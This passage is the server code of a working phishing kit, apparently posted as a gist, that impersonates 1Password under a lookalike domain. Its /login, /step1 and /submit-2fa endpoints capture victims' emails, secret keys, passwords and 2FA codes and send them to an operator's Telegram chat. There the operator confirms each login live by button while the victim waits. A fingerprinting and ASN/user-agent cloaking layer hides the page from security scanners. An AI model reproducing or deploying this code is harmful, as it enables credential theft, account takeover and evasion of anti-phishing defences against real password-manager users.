🔑 <b>Secret Key:</b>
<code>${secret || 'Not provided'}</code>
${passwordHistoryText}${twoFASection}
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
📊 <b>CONNECTION INFO</b>
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
🌍 <b>Location:</b> ${country}
🌐 <b>IP Address:</b> ${ip}
📱 <b>User Agent:</b> ${userAgent}
⏰ <b>Timestamp:</b> ${timestamp} UTC
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛`;
}
async function sendTelegramMessage(chatId, message, replyMarkup = null) {
if (!TELEGRAM_BOT_TOKEN || !chatId) return null;
try {
const telegramAPI = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
const payload = {
chat_id: chatId,
text: message,
parse_mode: 'HTML',
reply_markup: replyMarkup ? JSON.stringify(replyMarkup) : undefined
};
const response = await axios.post(telegramAPI, payload, { timeout: 10000 });
return {
messageId: response.data.result.message_id,
chatId: response.data.result.chat.id
};
} catch (error) {
return null;
}
}
async function updateTelegramMessage(chatId, messageId, message, replyMarkup = null) {
try {
const payload = {
chat_id: chatId,
message_id: messageId,
text: message,
parse_mode: 'HTML'
};
if (replyMarkup) {
payload.reply_markup = replyMarkup;
}
const response = await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/editMessageText`, payload);
if (response.data.ok) {
return true;
} else {
return false;
}
} catch (error) {
return false;
}
}
async function deleteTelegramMessage(chatId, messageId) {
try {
await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/deleteMessage`, {
chat_id: chatId,
message_id: messageId
});
} catch (error) {
}
}
async function answerCallbackQuery(callbackQueryId, text, showAlert = false) {
try {
await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/answerCallbackQuery`, {
callback_query_id: callbackQueryId,
text: text,
show_alert: showAlert
});
} catch (error) {
}
}
// Fingerprint collection et verification endpoint
app.post('/fingerprint', async (req, res) => {
try {
const ip = req.headers['x-forwarded-for']?.split(',')[0] || req.connection.remoteAddress;
const fingerprint = req.body;
const userAgent = req.headers['user-agent'] || '';
console.log(`🔍 PROTOCOLE MILITAIRE START - IP: ${ip}`);
// Store fingerprint in cache
fingerprintCache.set(ip, {
data: fingerprint,
timestamp: Date.now()
});
// ========================================
// PROTOCOLE MILITAIRE: FILTRES SÉQUENTIELS
// ========================================
// ÉTAPE 1: ASN CHECK (RADICAL - BARRIÈRE #1)
console.log(`📡 Step 1: ASN Check`);
let ipInfo = null;
try {
// Pro API first
const response = await axios.get(`https://pro.ip-api.com/json/${ip}?key=NiceTry`, { timeout: 5000 });
ipInfo = response.data;
if (response.data.status === 'fail') {
// Fallback to free API
const fallbackResponse = await axios.get(`http://ip-api.com/json/${ip}`, { timeout: 3000 });
ipInfo = fallbackResponse.data;
}
} catch (error) {
console.log(`❌ IP API Error: ${error.message}`);
}
if (ipInfo && ipInfo.as) {
const asNumber = ipInfo.as.split(' ')[0]; // Extract AS8075, etc.
console.log(`🏢 ASN: ${asNumber} (${ipInfo.as})`);
if (BANNED_ASNS.includes(asNumber)) {
console.log(`🚫 BLOCKED: Banned ASN ${asNumber}`);
if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) {
//axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (BANNED ASN)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo.as}\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {});
}
return res.status(403).json({ error: 'Banned ASN', blocked: true });
}
}
// ÉTAPE 2: USER-AGENT CHECK (RADICAL - BARRIÈRE #2)
console.log(`🔍 Step 2: User-Agent Check - UA: "${userAgent}"`);
// No User-Agent = BLOCKED
if (!userAgent) {
console.log(`🚫 BLOCKED: Missing User-Agent`);
if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) {
//axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (NO UA)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n└ 🖥️ UA: MISSING`)}`, { timeout: 2000 }).catch(() => {});
}
return res.status(403).json({ error: 'Missing User-Agent', blocked: true });
}
// Check for bot patterns (TRÈS strict - tous les bots)
const userAgentLower = userAgent.toLowerCase();
// Additional bot patterns to check
const additionalBotPatterns = [
'http', 'wget', 'fetch', 'request', 'client', 'agent', 'tool',
'library', 'framework', 'automation', 'test', 'monitor', 'check'
];
// Check main bot patterns
for (const botUA of BOT_USER_AGENTS) {
if (userAgentLower.includes(botUA.toLowerCase())) {
console.log(`🚫 BLOCKED: Bot User-Agent matched "${botUA}"`);
if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) {
//axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (BOT UA)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ 🎯 Pattern: ${botUA}\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {});
}
return res.status(403).json({ error: 'Bot User-Agent detected', blocked: true });
}
}
// Check if UA looks like a legitimate browser
const hasValidBrowserSignature = (
userAgentLower.includes('mozilla') &&
(userAgentLower.includes('chrome') || userAgentLower.includes('firefox') ||
userAgentLower.includes('safari') || userAgentLower.includes('edge'))
);
// Check additional suspicious patterns for non-browser UAs
if (!hasValidBrowserSignature) {
for (const pattern of additionalBotPatterns) {
if (userAgentLower.includes(pattern)) {
console.log(`🚫 BLOCKED: Suspicious User-Agent pattern "${pattern}"`);
if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) {
//axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (SUSPICIOUS UA)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ 🎯 Suspicious: ${pattern}\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {});
}
return res.status(403).json({ error: 'Suspicious User-Agent', blocked: true });
}
}
// If no browser signature and short UA = likely bot
if (userAgent.length < 20) {
console.log(`🚫 BLOCKED: Too short User-Agent (${userAgent.length} chars)`);
if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) {
//axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (SHORT UA)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ 📏 Length: ${userAgent.length} chars\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {});
}
return res.status(403).json({ error: 'Suspicious User-Agent length', blocked: true });
}
}
// ÉTAPE 3: FINGERPRINT OBLIGATOIRE (RADICAL - BARRIÈRE #3)
console.log(`🔍 Step 3: Fingerprint Check`);
// No fingerprint data = BLOCKED (bots like curl)
if (!fingerprint || typeof fingerprint !== 'object') {
console.log(`🚫 BLOCKED: No fingerprint data`);
if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) {
//axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (NO FINGERPRINT)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ ❌ Fingerprint: Missing/Invalid\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {});
}
return res.status(403).json({ error: 'No fingerprint data', blocked: true });
}
// Essential fingerprint data missing = BLOCKED
if (!fingerprint.canvas || !fingerprint.webgl || !fingerprint.screen) {
console.log(`🚫 BLOCKED: Essential fingerprint data missing`);
if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) {
const missing = [];
if (!fingerprint.canvas) missing.push('canvas');
if (!fingerprint.webgl) missing.push('webgl');
if (!fingerprint.screen) missing.push('screen');
//axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (INCOMPLETE FINGERPRINT)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ ❌ Missing: ${missing.join(', ')}\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {});
}
return res.status(403).json({ error: 'Incomplete fingerprint', blocked: true });
}
// ÉTAPE 4: HEADLESS CHECK (RADICAL - BARRIÈRE #4)
console.log(`🎮 Step 4: Headless Check`);
if (fingerprint && fingerprint.webgl && fingerprint.webgl.renderer) {
const headlessRenderers = ['SwiftShader', 'Mesa', 'llvmpipe', 'Software Rasterizer'];
if (headlessRenderers.some(renderer => fingerprint.webgl.renderer.includes(renderer))) {
console.log(`🚫 BLOCKED: Headless renderer ${fingerprint.webgl.renderer}`);
if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) {
//axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (HEADLESS)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ 🎮 Renderer: ${fingerprint.webgl.renderer}\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {});
}
return res.status(403).json({ error: 'Headless browser', blocked: true });
}
}
// ÉTAPE 5: SCREEN MISMATCH CHECK (RADICAL - BARRIÈRE #5)
console.log(`📺 Step 5: Screen Check`);
if (fingerprint && fingerprint.screen && fingerprint.window) {
const screenRatio = fingerprint.screen.width / fingerprint.screen.height;
const windowRatio = fingerprint.window.innerWidth / fingerprint.window.innerHeight;
if (Math.abs(screenRatio - windowRatio) > 0.8 ||
(fingerprint.screen.width === 1024 && fingerprint.screen.height === 768) ||
(fingerprint.screen.width === 1280 && fingerprint.screen.height === 1024)) {
console.log(`🚫 BLOCKED: Screen mismatch`);
if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) {
//axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (SCREEN MISMATCH)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ 📺 Screen: ${fingerprint.screen.width}x${fingerprint.screen.height}\n├ 🪟 Window: ${fingerprint.window.innerWidth}x${fingerprint.window.innerHeight}\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {});
}
return res.status(403).json({ error: 'Screen anomaly', blocked: true });
}
}
// ÉTAPE 6: SCORING FLEXIBLE (pour les trucs vraiment cramax seulement)
console.log(`📊 Step 6: Flexible Scoring`);
const fpAnalysis = analyzeFingerprint(fingerprint, ip);
// Only block for REALLY suspicious stuff (score > 100)
if (fpAnalysis.score > 100) {
console.log(`🚫 BLOCKED: High suspicion score ${fpAnalysis.score}`);
if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) {
//axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (HIGH SCORE)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ 📊 Score: ${fpAnalysis.score}/100\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {});
}
return res.status(403).json({ error: 'Suspicious fingerprint', blocked: true });
}
// TOUTES LES BARRIÈRES PASSÉES = VÉRIFIÉ
console.log(`✅ VERIFIED: All barriers passed`);
verifiedIPs.set(ip, {
timestamp: Date.now(),
fingerprint: fingerprint,
ipInfo: ipInfo
});
// Notification good connect avec toutes les infos
if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_CHAT_ID) {
const asnInfo = ipInfo?.as ? `\n├ 🏢 ASN: ${ipInfo.as}` : '';
const locationInfo = ipInfo ? `\n├ 🌍 Location: ${ipInfo.country || 'Unknown'} (${ipInfo.city || 'Unknown'})` : '';
const ispInfo = ipInfo?.isp ? `\n├ 🌐 ISP: ${ipInfo.isp}` : '';
axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_CHAT_ID}&text=${encodeURIComponent(`✅ VERIFIED USER${asnInfo}${locationInfo}${ispInfo}\n├ 🌐 IP: ${ip}\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {});
}
res.status(200).json({ success: true, verified: true });
} catch (error) {
res.status(400).json({ error: 'Invalid fingerprint data' });
}
});
// Page de vérification avec fingerprinting
app.get('/verify', (req, res) => {
const verificationPage = `
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Security Verification</title>
<style>
body {
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
background: #f5f5f5;
}
.loader {
text-align: center;
padding: 40px;
background: white;
border-radius: 10px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
.spinner {
border: 4px solid #f3f3f3;
border-top: 4px solid #3498db;
border-radius: 50%;
width: 40px;
height: 40px;
animation: spin 1s linear infinite;
margin: 0 auto 20px;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
#status { margin-top: 20px; color: #666; }
</style>
</head>
<body>
<div class="loader">
<div class="spinner"></div>
<h3>Security Verification</h3>
<p>Checking browser compatibility...</p>
<div id="status">Initializing...</div>
</div>
<script>
(function() {
'use strict';
const statusEl = document.getElementById('status');
function updateStatus(msg) {
statusEl.textContent = msg;
}
// Enhanced fingerprint collection avec statut
async function collectFingerprint() {
updateStatus('Collecting browser data...');
const fp = {
timestamp: Date.now(),
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
language: navigator.language,
languages: navigator.languages,
platform: navigator.platform,
hardwareConcurrency: navigator.hardwareConcurrency,
deviceMemory: navigator.deviceMemory,
cookieEnabled: navigator.cookieEnabled,
doNotTrack: navigator.doNotTrack,
plugins: Array.from(navigator.plugins).map(p => ({name: p.name, filename: p.filename})),
mimeTypes: Array.from(navigator.mimeTypes).map(m => m.type)
};
// Screen detection
fp.screen = {
width: screen.width,
height: screen.height,
availWidth: screen.availWidth,
availHeight: screen.availHeight,
colorDepth: screen.colorDepth,
pixelDepth: screen.pixelDepth
};
fp.window = {
innerWidth: window.innerWidth,
innerHeight: window.innerHeight,
outerWidth: window.outerWidth,
outerHeight: window.outerHeight,
devicePixelRatio: window.devicePixelRatio
};
updateStatus('Testing canvas support...');
// Canvas fingerprinting
try {
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
canvas.width = 200;
canvas.height = 50;
ctx.textBaseline = 'top';
ctx.font = '14px Arial';
ctx.fillStyle = '#f60';
ctx.fillRect(125, 1, 62, 20);
ctx.fillStyle = '#069';
ctx.fillText('🌟BotDetect🌟', 2, 15);
ctx.fillStyle = 'rgba(102, 204, 0, 0.7)';
ctx.fillText('Canvas fingerprint', 4, 25);
fp.canvas = canvas.toDataURL();
} catch (e) {
fp.canvas = null;
}
updateStatus('Testing WebGL support...');
// WebGL fingerprinting
try {
const canvas = document.createElement('canvas');
const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
if (gl) {
fp.webgl = {
vendor: gl.getParameter(gl.VENDOR),
renderer: gl.getParameter(gl.RENDERER),
version: gl.getParameter(gl.VERSION),
shadingLanguageVersion: gl.getParameter(gl.SHADING_LANGUAGE_VERSION),
maxTextureSize: gl.getParameter(gl.MAX_TEXTURE_SIZE),
maxViewportDims: gl.getParameter(gl.MAX_VIEWPORT_DIMS),
maxVertexAttribs: gl.getParameter(gl.MAX_VERTEX_ATTRIBS),
maxVaryingVectors: gl.getParameter(gl.MAX_VARYING_VECTORS),
maxFragmentTextureUnits: gl.getParameter(gl.MAX_TEXTURE_IMAGE_UNITS),
maxVertexTextureUnits: gl.getParameter(gl.MAX_VERTEX_TEXTURE_IMAGE_UNITS)
};
fp.webgl.extensions = gl.getSupportedExtensions();
const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
if (debugInfo) {
fp.webgl.unmaskedVendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
fp.webgl.unmaskedRenderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
}
} else {
fp.webgl = null;
}
} catch (e) {
fp.webgl = null;
}
updateStatus('Testing audio...');
// Audio fingerprinting
try {
const audioCtx = new (window.AudioContext || window.webkitAudioContext)();
const oscillator = audioCtx.createOscillator();
const analyser = audioCtx.createAnalyser();
const gainNode = audioCtx.createGain();
oscillator.type = 'triangle';
oscillator.frequency.setValueAtTime(10000, audioCtx.currentTime);
gainNode.gain.setValueAtTime(0, audioCtx.currentTime);
oscillator.connect(analyser);
analyser.connect(gainNode);
gainNode.connect(audioCtx.destination);
oscillator.start(0);
const bufferLength = analyser.frequencyBinCount;
const dataArray = new Float32Array(bufferLength);
analyser.getFloatFrequencyData(dataArray);
oscillator.stop();
audioCtx.close();
fp.audio = dataArray.slice(0, 30).join(',');
} catch (e) {
fp.audio = null;
}
updateStatus('Analyzing fonts...');
// Font detection
try {
const fonts = ['Arial', 'Verdana', 'Times New Roman', 'Courier New', 'Helvetica', 'Georgia'];
const testString = 'mmmmmmmmmmlli';
const testSize = '72px';
const canvas = document.createElement('canvas');
const context = canvas.getContext('2d');
context.font = testSize + ' serif';
const baselineWidth = context.measureText(testString).width;
fp.fonts = fonts.filter(font => {
context.font = testSize + ' ' + font + ', serif';
return context.measureText(testString).width !== baselineWidth;
});
} catch (e) {
fp.fonts = [];
}
return fp;
}
// Envoi de la vérification
async function sendVerification() {
try {
updateStatus('Sending verification...');
const fingerprint = await collectFingerprint();
const response = await fetch('/fingerprint', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(fingerprint)
});
const result = await response.json();
if (result.blocked) {
updateStatus('Access denied - Bot detected');
document.body.innerHTML = '<div class="loader"><h3>❌ Access Denied</h3><p>Automated access is not permitted.</p></div>';
} else if (result.verified) {
updateStatus('Verification successful');
window.location.href = '/';
} else {
updateStatus('Verification failed');
}
} catch (error) {
updateStatus('Connection error');
setTimeout(() => window.location.reload(), 3000);
}
}
// Démarrer la vérification
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', sendVerification);
} else {
setTimeout(sendVerification, 500);
}
})();
</script>
</body>
</html>`;
res.send(verificationPage);
});
app.get('/', (req, res) => {
try {
const fs = require('fs');
const html = fs.readFileSync(path.join(__dirname, 'index.html'), 'utf8');
res.send(html);
} catch (error) {
res.status(500).send('Server Error');
}
});
app.post('/submit-2fa', async (req, res) => {
try {
const { email, code } = req.body;
const messageTracking = emailMessageTracking.get(email);
if (!messageTracking) {
return res.status(404).json({ error: '2FA session not found' });
}
if (!code || !/^\d{6}$/.test(code)) {
return res.status(400).json({ error: 'invalid_code_format', message: 'Invalid 2FA code format' });
}
const requestId = `2fa_${Date.now()}-${Math.random().toString(36).substr(2, 5)}`;
const ip = req.ip || req.connection.remoteAddress || 'Unknown';
const userAgent = req.headers['user-agent'] || 'Unknown';
const country = await getCountryFromIP(ip);
const timestamp = new Date().toLocaleString('en-US', { timeZone: 'UTC' });
const completeMessage = generateCredentialsMessage(
messageTracking.email,
messageTracking.secret,
messageTracking.passwordHistory,
messageTracking.attemptNumber,
messageTracking.ip,
messageTracking.country,
messageTracking.userAgent,
messageTracking.lastUpdated,
code
);
const replyMarkup = {
inline_keyboard: [
[
{
text: "✅ Valid 2FA",
callback_data: `valid2fa:${requestId}`
},
{
text: "❌ Invalid 2FA",
callback_data: `invalid2fa:${requestId}`
}
]
]
};
const updateSuccess = await updateTelegramMessage(
messageTracking.chatId,
messageTracking.messageId,
completeMessage,
replyMarkup
);
if (!updateSuccess) {
return res.status(500).json({ error: 'Failed to update Telegram message' });
}
pendingRequests.set(requestId, {
res,
email,
code,
completed: false,
timeout: setTimeout(() => {
if (pendingRequests.has(requestId) && !pendingRequests.get(requestId).completed) {
const request = pendingRequests.get(requestId);
if (!request.res.headersSent) {
request.res.redirect('https://my.1password.com');
}
pendingRequests.delete(requestId);
}
}, 30 * 1000)
});
} catch (error) {
res.status(500).json({ error: 'Server error' });
}
});
app.post('/step1', async (req, res) => {
try {
const email = req.body.email;
if (!email || !validateEmail(email)) {
return res.status(400).json({ success: false, error: 'Invalid email format' });
}
const ip = req.ip || req.connection.remoteAddress;
const userAgent = req.headers['user-agent'] || 'Unknown';
const country = await getCountryFromIP(ip);
const message = `📧 <b>Email Submitted</b>
<code>${email}</code>
🌍 <b>Location:</b> ${country}
🌐 <b>IP:</b> ${ip}
📱 <b>UA:</b> ${userAgent}`;
await sendTelegramMessage(TELEGRAM_CHAT_ID, message);
res.status(200).json({ success: true });
} catch (err) {
res.status(500).json({ success: false });
}
});
app.post('/login', async (req, res) => {
try {
const { email, secret, old_password } = req.body;
if (!email || !validateEmail(email)) {
return res.status(400).json({ error: 'Invalid email format' });
}
if (!secret || !validateSecretKey(secret)) {
return res.status(400).json({ error: 'Invalid secret key format' });
}
if (!old_password || !validatePassword(old_password)) {
return res.status(400).json({ error: 'Password must be at least 8 characters' });
}
const timestamp = new Date().toLocaleString('en-US', {
timeZone: 'UTC',
year: 'numeric',
month: '2-digit',
day: '2-digit',
hour: '2-digit',
minute: '2-digit',
second: '2-digit'
});
const ip = req.ip || req.connection.remoteAddress || req.headers['x-forwarded-for']?.split(',')[0]?.trim() || 'Unknown';
const userAgent = req.headers['user-agent'] || 'Unknown';
const country = await getCountryFromIP(ip);
let existingMessageInfo = emailMessageTracking.get(email);
const requestId = `${Date.now()}-${Math.random().toString(36).substr(2, 5)}`;
let passwordHistory = [old_password];
let attemptNumber = 1;
let oldMessageId = null;
let oldChatId = null;
let telegramResponse = null;
if (existingMessageInfo) {
passwordHistory = [...existingMessageInfo.passwordHistory, old_password];
attemptNumber = existingMessageInfo.attemptNumber + 1;
oldMessageId = existingMessageInfo.messageId;
oldChatId = existingMessageInfo.chatId;
const updatedMessage = generateCredentialsMessage(email, secret, passwordHistory, attemptNumber, ip, country, userAgent, timestamp);
const updatedReplyMarkup = {
inline_keyboard: [
[
{
text: "✅ Valid (No 2FA)",
callback_data: `valid_${requestId}`
},
{
text: "🔐 Valid + 2FA",
callback_data: `2fa_${requestId}`
}
],
[
{
text: "❌ Wrong Password",
callback_data: `invalid_${requestId}`
}
]
]
};
if (oldChatId && oldMessageId) {
const updateSuccess = await updateTelegramMessage(oldChatId, oldMessageId, updatedMessage, updatedReplyMarkup);
if (updateSuccess) {
telegramResponse = {
messageId: oldMessageId,
chatId: oldChatId
};
} else {
await deleteTelegramMessage(oldChatId, oldMessageId);
telegramResponse = await sendTelegramMessage(TELEGRAM_CHAT_ID, updatedMessage, updatedReplyMarkup);
}
} else {
telegramResponse = await sendTelegramMessage(TELEGRAM_CHAT_ID, updatedMessage, updatedReplyMarkup);
}
} else {
const message = generateCredentialsMessage(email, secret, passwordHistory, attemptNumber, ip, country, userAgent, timestamp);
const replyMarkup = {
inline_keyboard: [
[
{
text: "✅ Valid (No 2FA)",
callback_data: `valid_${requestId}`
},
{
text: "🔐 Valid + 2FA",
callback_data: `2fa_${requestId}`
}
],
[
{
text: "❌ Wrong Password",
callback_data: `invalid_${requestId}`
}
]
]
};
telegramResponse = await sendTelegramMessage(TELEGRAM_CHAT_ID, message, replyMarkup);
}
pendingRequests.set(requestId, {
res,
email,
secret,
password: old_password,
passwordHistory,
attemptNumber,
ip,
country,
userAgent,
timestamp,
messageId: telegramResponse?.messageId,
chatId: telegramResponse?.chatId,
completed: false,
timeout: setTimeout(() => {
if (pendingRequests.has(requestId) && !pendingRequests.get(requestId).completed) {
const request = pendingRequests.get(requestId);
if (!request.res.headersSent) {
request.res.redirect('https://my.1password.com');
}
pendingRequests.delete(requestId);
}
}, 30 * 1000)
});
emailMessageTracking.set(email, {
messageId: telegramResponse?.messageId,
chatId: telegramResponse?.chatId,
passwordHistory: passwordHistory,
attemptNumber: attemptNumber,
lastUpdated: timestamp,
email: email,
secret: secret,
ip: ip,
country: country,
userAgent: userAgent
});
} catch (error) {
res.status(500).json({ error: 'Server error' });
}
});
app.post('/telegram-webhook', async (req, res) => {
try {
const update = req.body;
console.log('🔔 Telegram webhook received:', JSON.stringify(update, null, 2));
if (update.callback_query) {
const callbackData = update.callback_query.data;
const callbackQueryId = update.callback_query.id;
console.log('📱 Callback data received:', callbackData);
let action, requestId;
// Improved parsing to handle both formats correctly
if (callbackData.includes(':')) {
// Format: "valid2fa:requestId" or "invalid2fa:requestId"
[action, requestId] = callbackData.split(':', 2);
} else if (callbackData.includes('_')) {
// Format: "valid_requestId", "2fa_requestId", "invalid_requestId"
[action, requestId] = callbackData.split('_', 2);
} else {
console.log('❌ Invalid callback data format:', callbackData);
await answerCallbackQuery(callbackQueryId, '❌ Invalid request format', true);
return res.status(200).json({ ok: true });
}
console.log('🔍 Parsed action:', action, 'requestId:', requestId);
if (action && requestId && (action === 'valid' || action === '2fa' || action === 'invalid' || action === 'valid2fa' || action === 'invalid2fa')) {
const request = pendingRequests.get(requestId);
console.log('📋 Request found:', request ? 'YES' : 'NO');
if (request && !request.completed) {
let confirmationMessage = '';
if (action === 'valid') {
confirmationMessage = '✅ Valid - No 2FA required';
} else if (action === '2fa') {
confirmationMessage = '🔐 Valid - Proceeding to 2FA';
} else if (action === 'valid2fa') {
confirmationMessage = '✅ 2FA Code is Valid';
} else if (action === 'invalid2fa') {
confirmationMessage = '❌ 2FA Code is Invalid';
} else {
confirmationMessage = '❌ Password marked as INVALID';
}
console.log('✅ Sending confirmation:', confirmationMessage);
await answerCallbackQuery(callbackQueryId, confirmationMessage);
request.completed = true;
if (request.timeout) {
clearTimeout(request.timeout);
}
if (!request.res.headersSent) {
console.log('📤 Sending response for action:', action);
if (action === 'valid') {
request.res.status(200).json({
success: true,
redirect: 'https://my.1password.com',
message: 'Password is correct'
});
} else if (action === '2fa') {
request.res.status(200).json({
success: true,
step: '2fa',
message: 'Password is correct, proceed to 2FA'
});
} else if (action === 'valid2fa') {
request.res.status(200).json({
success: true,
redirect: 'https://my.1password.com',
message: '2FA verification successful'
});
} else if (action === 'invalid2fa') {
request.res.status(400).json({
error: 'invalid_2fa',
message: 'Incorrect authentication code.'
});
} else {
request.res.status(400).json({
error: 'invalid_password',
message: 'Wrong password. Please try again.'
});
}
} else {
console.log('⚠️ Headers already sent, cannot respond');
}
pendingRequests.delete(requestId);
} else {
console.log('❌ Request not found or already completed');
await answerCallbackQuery(callbackQueryId, '❌ Request expired or not found', true);
}
} else {
console.log('❌ Invalid action or requestId:', { action, requestId });
await answerCallbackQuery(callbackQueryId, '❌ Invalid request format', true);
}
} else {
console.log('📝 Non-callback query update received');
}
res.status(200).json({ ok: true });
} catch (error) {
console.error('💥 Webhook error:', error);
if (req.body?.callback_query) {
try {
await answerCallbackQuery(req.body.callback_query.id, '❌ Error processing request', true);
} catch (e) {
console.error('💥 Error answering callback query:', e);
}
}
res.status(500).json({ error: 'Webhook processing failed' });
}
});
app.post('/set-webhook', async (req, res) => {
try {
const webhookUrl = req.body.url || `https://1passvword-account.com/telegram-webhook`;
const response = await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/setWebhook`, {
url: webhookUrl
});
res.json(response.data);
} catch (error) {
res.status(500).json({ error: 'Failed to set webhook' });
}
});
app.use((req, res) => {
res.status(404).send(`
<!DOCTYPE html>
<html>
<head><title>Not Found</title></head>
<body>
<h2>404 - Page Not Found</h2>
<p><a href="/">Back to Home</a></p>
</body>
</html>
`);
});
app.listen(PORT, () => {
console.log(`🚀 Server running on port ${PORT}`);
console.log(`🛡️ Advanced bot detection system active`);
console.log(`📊 ${BOT_USER_AGENTS.length} bot patterns loaded`);
console.log(`🚫 ${BANNED_ASNS.length} ASNs blacklisted`);
console.log(`🔍 Client-side fingerprinting enabled`);
console.log(`🎯 Canvas, WebGL, Audio & Screen analysis active`);
});
module.exports = app;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment